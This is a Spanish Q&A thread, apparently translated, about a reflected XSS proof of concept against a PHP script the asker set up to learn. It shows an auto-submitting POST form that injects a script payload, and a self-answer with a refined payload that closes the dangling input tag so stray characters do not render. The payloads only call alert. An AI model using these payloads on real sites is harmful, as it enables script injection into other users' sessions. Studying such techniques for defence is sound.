Empresas
Empleos
  • Sobre nosotros
  • Soluciones
    • Publicación de vacantes
      Publica tu vacante y recibe candidatos calificados en 48h.
    • Evaluación de candidatos
      500+ pruebas técnicas y psicológicas, más anti-fraude.
    • Headhunting
      Búsqueda ejecutiva a la medida de principio a fin.
    • Nómina + EOR
      Dispersión de nómina y EOR en más de 15 países de LATAM.
  • Precios
  • Empleos

0

201
Vistas
XSS PoC: ocultar caracteres renderizados en DOM

Empecé a jugar con XSS para mejorar mi postura de seguridad en el trabajo. Pude explotar con éxito un ataque XSS reflejado usando un formulario POST redirigido, pero parece que no puedo eliminar los caracteres extraños que se muestran en la página.

He comprobado:

XSS: Carácter que se muestra en DOM

https://security.stackexchange.com/questions/207282/xss-character-showing-in-dom?newreg=61e9890d94d34d0c8818158ba541b117

¿Cómo cargar javascript en otra página web a través de XSS?

Pero ninguna de las sugerencias parece funcionar para mí.

Mi exploit es una forma básica, explotando un script del lado del servidor PHP que configuré haciendo eco $_POST['username'] en el atributo de valor:

 <form id=1 method="post" action="http://vulnerable.site.com"> <input type="hidden" name="username" value="&quot;&gt;&lt;script&gt;alert('Hello');&lt;/script&gt;&quot;"> </form> <script> document.getElementById(1).submit(); </script>

Sin codificar:

 <form id=1 method="post" action="http://vulnerable.site.com"> <input type="hidden" name="username" value=""><script>alert('Hello');</script>"> </form> <script> document.getElementById(1).submit(); </script>

Pero este molesto "> no morirá:

Caracteres adicionales representados

He intentado:

  • Varias técnicas de evasión de filtros agregando caracteres adicionales recomendados por OWASP
  • Escapar de "> a &quot;&gt; - esto da como resultado errores de sintaxis, y la eliminación de las comillas iniciales rompe la carga útil. PERO, según los recursos vinculados anteriormente, parece posible según los comentarios
  • Usar selectores de CSS para ocultar los caracteres en mi carga útil de ataque (usando herramientas de desarrollo, el "> aparece como #text , así que pensé que esto podría funcionar)

Estoy seguro de que es algo tonto, pero ¿qué me estoy perdiendo? Es claramente posible, pero no soy un desarrollador web experto (de ahí el jugueteo). ¡Cualquier comentario o consejo sería apreciado!

about 4 years ago · Juan Pablo Isaza
1 Respuestas
Responde la pregunta

0

Eventualmente lo descubrí después de horas de prueba y error. La idea es cerrar la etiqueta colgante con una etiqueta separada:

Así que la carga útil anterior era:

 "><script>alert('Hello');</script>

Que, después de que el script PHP lo analice, se ve así:

 <input type="text" name="username" value="">"> <!-- notice the dangling tag -->

Después de agregar una etiqueta de entrada de cierre, la solución funcionó:

 "><script>alert('Hello');</script><input type="hidden" value="

Y salida del análisis de PHP:

 <input type="text" name="username" value=""><script>alert('Hello');</script><input type="hidden" value="">

Tenga en cuenta que lo anterior debe estar codificado en HTML para funcionar correctamente. Lo omití por legibilidad.

about 4 years ago · Juan Pablo Isaza Denunciar
Responde la pregunta
Encuentra empleos remotos

¡Descubre la nueva forma de encontrar empleo!

Top de empleos
Top categorías de empleo
Empresas
Publicar vacante Precios Comercial
Legal
Términos y condiciones Política de privacidad
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomiéndame algunas ofertas
Necesito ayuda